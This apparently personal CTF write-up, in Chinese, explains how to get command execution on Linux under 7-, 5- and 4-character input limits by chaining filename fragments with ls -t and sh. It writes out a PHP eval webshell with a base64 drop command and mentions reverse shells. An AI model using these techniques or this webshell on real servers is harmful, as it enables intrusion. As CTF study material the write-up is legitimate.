和长度有关的命令执行
前言
打了一下nepnep的CTF,发现有几道题都是和长度有关系,虽然做题的时候都是用很常规的方式去绕过的,没有想到这么妙的方法,(好像这些方法和很早就有了)记录一下吧。
七个字符
先来看看七个字符的吧,如果给了你一个限制,只能让你以最多7个长度来,你怎么做?怎么去写shell
这里有一个很妙的方法,利用拼接,先来看一个例子,我想去构造一个echo TXkwbjlz|base64 -d的命令:
1 | >\ -d\\ |
看一下0文件的内容:

然后 sh 0 去执行的时候,一开始遇到0,会报错,但并不影响后面命令的执行,\起到一个拼接的作用,最后拼接出来的效果就是:
echo TXkwbjlz|base64 -d ,可以看到效果图如下:

可以发现成功输出,核心的思想就是利用拼接,在linux系统里面 \ 起到一个连接的作用。需要注意的几个地方
- 利用
>h可以直接生成一个名为h的文件 - 空格需要转义 一下
- 反斜杠也需要转义一下,不然系统会认为是命令没执行完。
ls -t将文件按照创建的时间排序列出,这个很关键,不然很难保证我们能正确拼接成功。 - 因为是按照创造时间顺序进行拼接,所以我们开始构造文件名的时候,是按照逆序来的。
当然我们也可以用这个方法直接写个一句话木马 <?php eval($_POST[cmd]); base64编码一下为:PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7
然后我们构造一个命令:
echo PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7|base64 -d >1.php
构造方法和上面是一样的。
五个字符
思路和7个是差不多的,每一次创建的文件名都可以压缩一下长度,只不过是需要执行的次数多了一些,关键就在于最后的
ls -t>0 这是7个字符,可以想办法转换一下,用较短的长度去构造一下这个命令,然后执行一下:
1 | >l\\ |
这里用到了>> 追加的方法,因为直接ls>a,我们可以看到顺序是' \' '>0\' 'l\' 's\' '-t\',然后追加以后,我们可以cat a看到:
成功凑出来ls -t>0 这个命令,只需要 sh 0 就可以达到 ls -t>0的效果,剩下的就是按照前面的方式构造命令。
不过这个方法会有一个局限,因为是用顺序拼接出来的,如果当前目录存在其他文件名,ls 这个默认会有一个排序,顺序会对结果造成一定的影响,比如我模拟存在index.php和shell.php的情况:

可以看到shell.php 卡在了 ls\ 和 还有ls\ 和-t\ 的中间。这样就拼接不成功了。
四个字符
四个字符的局限就是 ls>>a 这个用不了了。
不过这里有另外一种构思,利用dir 、*、rev
执行* 会把第一个文件名当做是命令,然后后面的文件名都是参数。
1 | >dir |
执行后,发现成功构造:

但是似乎也有局限,我尝试了本地含有index.php也乱了。
写在最后
这个是限制了长度,本质是命令执行,只要长度可控,后面的我们可以用正常的命令执行的思路,所以这里可以除了 写马,也可以反弹shell。 复现的环境是ubuntu。在该环境下仍然发现了很多限制,就是当前目录一开始就有一些文件名的话,可能一定程度上会造成干扰,不过对于7字符似乎就没有这个顾虑。